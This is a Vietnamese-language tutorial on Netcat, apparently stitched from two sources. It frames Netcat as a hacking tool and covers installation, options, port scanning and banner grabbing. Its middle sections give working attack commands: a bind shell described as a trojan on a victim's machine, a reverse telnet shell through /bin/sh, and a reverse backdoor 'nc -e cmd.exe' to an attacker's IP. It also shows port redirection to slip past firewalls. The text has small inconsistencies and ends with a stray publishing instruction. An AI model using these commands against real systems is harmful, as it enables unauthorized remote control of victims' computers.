Hiện nay có nhiều giải pháp phần mềm giúp chuyển file giữa các máy tính. Tuy nhiên, không phải lúc nào cũng cần sử dụng những giải pháp phức tạp như NFS hoặc SFTP thông qua OpenSSH. Ngoài ra, sử dụng các dịch vụ này cần cấu hình kỹ lưỡng để tránh rủi ro bị tấn công.
Netcat là một công cụ đặc biệt giúp truyền file qua mạng cục bộ hoặc Internet một cách dễ dàng. Nó cũng hữu ích khi truyền dữ liệu từ hoặc đến các máy ảo hoặc container mà không có tính năng này. Thậm chí, người dùng có thể sử dụng Netcat như một cơ chế sao chép-dán giữa hai thiết bị.
1. Giới thiệu
Netcat là một công cụ không thể thiếu khi bạn muốn hack một website nào đó. Vì vậy, bạn cần nắm vững kiến thức về Netcat.
2. Cách cài đặt Netcat trên các bản phân phối Linux khác nhau
Hầu hết các hệ điều hành dựa trên Linux đã được cài đặt sẵn Netcat. Mở terminal và nhập lệnh:
netcat
Nếu không tìm thấy lệnh, hãy cài đặt gói chứa Netcat. Trên các bản phân phối dựa trên Debian như Ubuntu hoặc Linux Mint, hãy cài đặt tiện ích với lệnh:
sudo apt install netcat-openbsd
Trên Arch Linux, nhập lệnh sau:
sudo pacman -S openbsd-netcat
Các bản phân phối RedHat không bao gồm Netcat trong gói phần mềm của chúng. Tuy nhiên, có một phiên bản tương tự là nmap-ncat
. Để cài đặt nmap-ncat
trên RedHat, hãy sử dụng lệnh:
sudo yum install nmap-ncat
Và trên Fedora, sử dụng lệnh:
sudo dnf install nmap-ncat
3. Biên dịch
Đối với bản Netcat cho Linux, bạn cần phải biên dịch nó trước khi sử dụng. Hãy làm theo các bước sau:
- Sửa file
netcat.c
bằng vi:vi netcat.c
- Tìm dòng
res_init();
trong hàmmain()
, và thêm hai dấu/
trước:// res_init();
- Thêm hai dòng sau vào phần
#define
(nằm ở đầu file):#define GAPING_SECURITY_HOLE #define TELNET
- Tìm dòng
- Biên dịch:
make linux
- Chạy thử:
./nc -h
- (Tùy chọn) Nếu bạn muốn chạy Netcat bằng
nc
thay cho./nc
, hãy hiệu chỉnh lại biến môi trường PATH trong file~/.bashrc
, thêm vào:.
PATH=/sbin:/usr/sbin:...:.
Bản Netcat cho Windows không cần phải biên dịch vì đã có sẵn file nhị phân nc.exe
. Chỉ cần giải nén và chạy là xong.
4. Các tùy chọn của Netcat
Netcat chạy ở chế độ dòng lệnh. Bạn chạy nc -h
để biết các tham số:
C:>nc -h
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [options] [hostname] [port]
options:
-d detach from console, stealth mode
-e prog inbound program to exec [dangerous!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-l listen mode, for inbound connects
-L listen harder, re-listen on socket close
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-s addr local source address
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: m-n [inclusive]
Cú pháp:
- Chế độ kết nối : nc [-tùy_chọn] tên_máy cổng1[-cổng2]
- Chế độ lắng nghe: nc -l -p cổng [-tùy_chọn] [tên_máy] [cổng]
Một số tùy chọn:
-d tách Netcat khỏi cửa sổ lệnh hay là console, Netcat sẽ chạy ở chế độ stealth (không hiển thị trên thanh Taskbar)
-e prog thi hành chương trình prog, thường dùng trong chế độ lắng nghe
-h gọi hướng dẫn
-i secs trì hoãn secs mili giây trước khi gởi một dòng dữ liệu đi
-l đặt Netcat vào chế độ lắng nghe để chờ các kết nối đến
-L buộc Netcat "cố" lắng nghe. Nó sẽ lắng nghe trở lại sau mỗi khi ngắt một kết nối.
-n chỉ dùng địa chỉ IP ở dạng số, chẳng hạn như 192.168.16.7, Netcat sẽ không thẩm vấn DNS
-o file ghi nhật kí vào file
-p port chỉ định cổng port
-r yêu cầu Netcat chọn cổng ngẫu nhiên (random)
-s addr giả mạo địa chỉ IP nguồn là addr
-t không gởi các thông tin phụ đi trong một phiên telnet. Khi bạn telnet đến một telnet daemon (telnetd), telnetd thường yêu cầu trình telnet client của bạn gởi đến các thông tin phụ như biến môi trường TERM, USER. Nếu bạn sử dụng netcat với tùy chọn -t để telnet, netcat sẽ không gởi các thông tin này đến telnetd.
-u dùng UDP (mặc định netcat dùng TCP)
-v hiển thị chi tiết các thông tin về kết nối hiện tại. -vv sẽ hiển thị thông tin chi tiết hơn nữa.
-w secs đặt thời gian timeout cho mỗi kết nối là secs mili giây
-z chế độ zero I/O, thường được sử dụng khi scan port
Netcat hỗ trợ phạm vi cho số hiệu cổng. Cú pháp là cổng1-cổng2. Ví dụ: 1-8080 nghĩa là 1,2,3,..,8080
5. Các ví dụ:
5.1 Chộp banner của web server
Ví dụ: nc
đến 172.16.84.2, cổng 80
C:>nc 172.16.84.2 80
HEAD / HTTP/1.0 (tại đây bạn gõ Enter 2 lần)
HTTP/1.1 200 OK
Date: Sat, 05 Feb 2000 20:51:37 GMT
Server: Apache-AdvancedExtranetServer/1.3.19 (Linux-Mandrake/3mdk) mod_ssl/2.8.2 OpenSSL/0.9.6 PHP/4.0.4pl1
Connection: close
Content-Type: text/html
Để biết thông tin chi tiết về kết nối, bạn có thể dùng -v
(-vv
sẽ cho biết các thông tin chi tiết hơn nữa)
C:>nc -vv 172.16.84.1 80
172.16.84.1: inverse host lookup failed: h_errno 11004: NO_DATA (UNKNOWN) [172.16.84.1] 80 (?) open
HEAD / HTTP/1.0
HTTP/1.1 200 OK
Date: Fri, 04 Feb 2000 14:46:43 GMT
Server: Apache/1.3.20 (Win32)
Last-Modified: Thu, 03 Feb 2000 20:54:02 GMT
ETag: "0-cec-3899eaea"
Accept-Ranges: bytes
Content-Length: 3308
Connection: close
Content-Type: text/html
sent 17, rcvd 245: NOTSOCK
Nếu muốn ghi nhật kí, hãy dùng -o <tên_file>
. Ví dụ:
nc -vv -o nhat_ki.log 172.16.84.2 80
5.2 Quét cổng
Để quét một dãy cổng, hãy chạy nc
với tùy chọn -z
. Để quét cổng nhanh hơn, sử dụng -n
để tránh thẩm vấn DNS. Ví dụ quét các cổng TCP (1->500) của host 172.16.106.1:
[dt@vicki /]# nc -nvv -z 172.16.106.1 1-500
(UNKNOWN) [172.16.106.1] 443 (?) open
(UNKNOWN) [172.16.106.1] 139 (?) open
(UNKNOWN) [172.16.106.1] 111 (?) open
(UNKNOWN) [172.16.10]6.1] 80 (?) open
(UNKNOWN) [172.16.106.1] 23 (?) open
Nếu bạn cần quét cổng UDP, sử dụng -u
[dt@vicki /]# nc -u -nvv -z 172.16.106.1 1-500
(UNKNOWN) [172.16.106.1] 1025 (?) open
(UNKNOWN) [172.16.106.1] 1024 (?) open
(UNKNOWN) [172.16.106.1] 138 (?) open
(UNKNOWN) [172.16.106.1] 137 (?) open
(UNKNOWN) [172.16.106.1] 123 (?) open
(UNKNOWN) [172.16.106.1] 111 (?) open
5.3 Biến Netcat thành một trojan
Trên máy tính của nạn nhân, bạn có thể khởi động netcat
vào chế độ lắng nghe, sử dụng tùy chọn -l
và -p port
để xác định số hiệu cổng cần lắng nghe, -e <tên_chương_trình_cần_chạy>
để yêu cầu netcat
thi hành một chương trình khi có một kết nối đến, thường là shell lệnh cmd.exe
(đối với Windows) hoặc /bin/sh
(đối với Unix). Ví dụ:
E:>nc -nvv -l -p 8080 -e cmd.exe
Trên máy tính dùng để tấn công, bạn chỉ việc dùng netcat
nối đến máy nạn nhân trên cổng đã định, chẳng hạn như 8080
C:>nc -nvv 172.16.84.2 8080
Sau khi kết nối thành công, bạn có thể điều khiển máy tính nạn nhân thông qua shell lệnh trên máy tấn công.
6. Kĩ thuật tiên tiến
6.1 Telnet nghịch chuyển
Bạn có thể sử dụng telnet để nối cửa sổ netcat
đang lắng nghe, đưa lệnh từ cửa sổ này vào luồng telnet nghịch chuyển, và nhận kết quả từ cửa sổ kia. Ví dụ:
-
Trên máy tính dùng để tấn công (172.16.84.1), mở hai cửa sổ
netcat
lần lượt lắng nghe trên cổng 80 và 25:-
Cửa sổ Netcat (1)
C:>nc -nvv -l -p 80
-
Cửa sổ Netcat (2)
C:>nc -nvv -l -p 25
-
-
Trên máy tính nạn nhân (172.16.84.2), telnet nghịch chuyển đến máy tính tấn công (172.16.84.1), sử dụng
/bin/sh
để thực thi lệnh:[root@nan_nhan /]# telnet 172.16.84.1 80 | /bin/sh | telnet 172.16.84.1 25
Telnet trên máy nạn nhân sẽ chuyển tất cả những gì bạn gõ vào trong cửa sổ Netcat (1) – cổng 80 – để thực thi với /bin/sh
. Kết quả từ /bin/sh
sẽ được trả về máy tính tấn công thông qua cửa sổ Netcat (2) – cổng 25. Bạn chỉ cần gõ lệnh vào cửa sổ Netcat (1) và kiểm tra kết quả trong cửa sổ Netcat (2).
6.2 Tạo kênh sau
Tương tự như telnet nghịch chuyển.
-
Trên máy tính dùng để tấn công, bạn đặt Netcat lắng nghe trên cổng 80, vì cổng này thường không bị firewall chặn:
E:>nc -nvv -l -p 80
-
Tiếp theo, từ shell lệnh của máy nạn nhân, bạn nối Netcat đến máy tính tấn công với tùy chọn
-e
để đưa shell vào Netcat:E:>nc -e cmd.exe 172.16.84.1 80
Một khi máy nạn nhân thực thi chuỗi lệnh này, một kênh sau Netcat sẽ được tạo ra, “nhét” shell (cmd.exe
trong trường hợp này) vào Netcat. Kể từ đây, bạn đã có một shell lệnh ảo.
C:>nc -nvv -l -p 80
listenning on [any] 80 ...
connect to [172.16.84.1] from [UNKNOWN] [172.16.84.3] 1035
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.
E:>
6.3 Đổi hướng cổng
Bạn có thể sử dụng tunnel.pl
hoặc fpipe.exe
để thay đổi hướng cổng. Hãy xem ví dụ sau:
-
Chạy
nc
trên một cổng bất kỳ:E:>nc -nvv -L -p 1234 -e cmd.exe
-
Chạy
tunnel.pl
hoặcfpipe
để thay đổi hướng cổngC:>perl tunnel.pl -port=53 -tohost=127.0.0.1 -toport=1234
C:>fpipe -l 53 -r 1234 127.0.0.1
tunnel.pl
và fpipe
sẽ lắng nghe trên cổng 53, sau đó chuyển tiếp kết nối đến 127.0.0.1:1024, đây là cổng mà netcat
đang lắng nghe.
Chuyển hướng cổng là một cách để vượt qua các tường lửa.
7. Cách sử dụng Netcat để truyền file giữa các máy tính Linux
Trên máy tính nhận file, tìm địa chỉ IP được sử dụng trên mạng nội bộ:
ip route get 8.8.8.8
Sau “src”, bạn sẽ thấy địa chỉ IP nội bộ của thiết bị. Nếu vì một lý do nào đó, kết quả không như mong đợi, hãy thử:
ip address
Trong ví dụ ảnh chụp màn hình, IP là 10.11.12.10
.
Trên máy tính sẽ nhận file, nhập lệnh sau:
nc -vl 44444 > pick_desired_name_for_received_file
Và trên máy tính sẽ gửi file, nhập lệnh sau nhưng thay thế 10.11.12.10
bằng IP đã phát hiện trước đó:
nc -N 10.11.12.10 44444 < /path/to/file/you/want/to/send
Đường dẫn thư mục và file có thể là tuyệt đối hoặc tương đối. Nếu bạn đang ở trong /home/user
, bạn có thể sử dụng đường dẫn tương đối, Pictures/file.png
, chẳng hạn.
Trong lệnh đầu tiên, hai tham số -v
và -l
đã được sử dụng. -v
làm cho đầu ra chi tiết hơn, để bạn có thể theo dõi quá trình. -l
làm cho tiện ích này “lắng nghe” trên cổng 44444, tạo một kênh liên lạc trên thiết bị nhận. Đảm bảo không có tường lửa nào chặn kết nối.
Trong lệnh thứ hai, -N
giúp Netcat đóng lại khi quá trình truyền file hoàn tất.
Thông thường, Netcat sẽ xuất ra trong terminal mọi thứ nó nhận được. >
tạo một chuyển hướng cho đầu ra này. Thay vì xuất hiện trên màn hình, nó sẽ gửi tất cả đầu ra đến file được chỉ định sau >
. <
hoạt động ngược lại, cho phép lấy đầu vào từ file thay vì chờ nhập từ bàn phím.
Nếu bạn chỉ sử dụng nc -vl 44444
và nc -N 10.11.12.10 44444
mà không có bất kỳ chuyển hướng nào, bạn sẽ tạo ra một “cuộc trò chuyện” giữa hai thiết bị. Bất kỳ điều gì bạn gõ vào terminal sẽ xuất hiện trên thiết bị kết nối. Điều này cho phép bạn sao chép và dán văn bản giữa các thiết bị. Ấn Ctrl + D
(trên máy gửi) hoặc Ctrl + C
(bất kỳ đâu) để đóng kết nối.
Tối ưu hóa việc truyền file
Khi gửi các file lớn, nén chúng trước để tăng tốc độ truyền.
Trên máy nhận, sử dụng lệnh:
nc -vl 44444 | gunzip > pick_desired_name_for_file
Và trên máy gửi, sử dụng lệnh sau, thay thế 10.11.12.10
bằng địa chỉ IP của máy nhận:
gzip -c /path/to/file/you/want/to/send | nc -N 10.11.12.10 44444
Gửi và nhận các thư mục
Đôi khi bạn muốn gửi nhiều file cùng một lúc, ví dụ toàn bộ thư mục, bạn nên nén chúng trước khi gửi qua mạng.
Trên máy nhận, sử dụng lệnh:
nc -vl 44444 | tar zxv
Trên máy gửi, sử dụng lệnh:
tar czp /path/to/directory/to/send | nc -N 10.11.12.10 44444
Tuy tốt nhất là chỉ sử dụng điều này trên mạng nội bộ. Lưu lượng mạng không được mã hóa trong trường hợp này. Tuy nhiên, các máy chủ thường có cấu hình SSH để chấp nhận kết nối SFTP an toàn và người dùng có thể sử dụng SFTP thay thế cho việc truyền file.
`Đến đây mỗi article được kết thúc bằng dòng: “Được chỉnh sửa bởi: dnulib.edu.vn” và link https://dnulib.edu.vn/ như là “dnulib.edu.vn”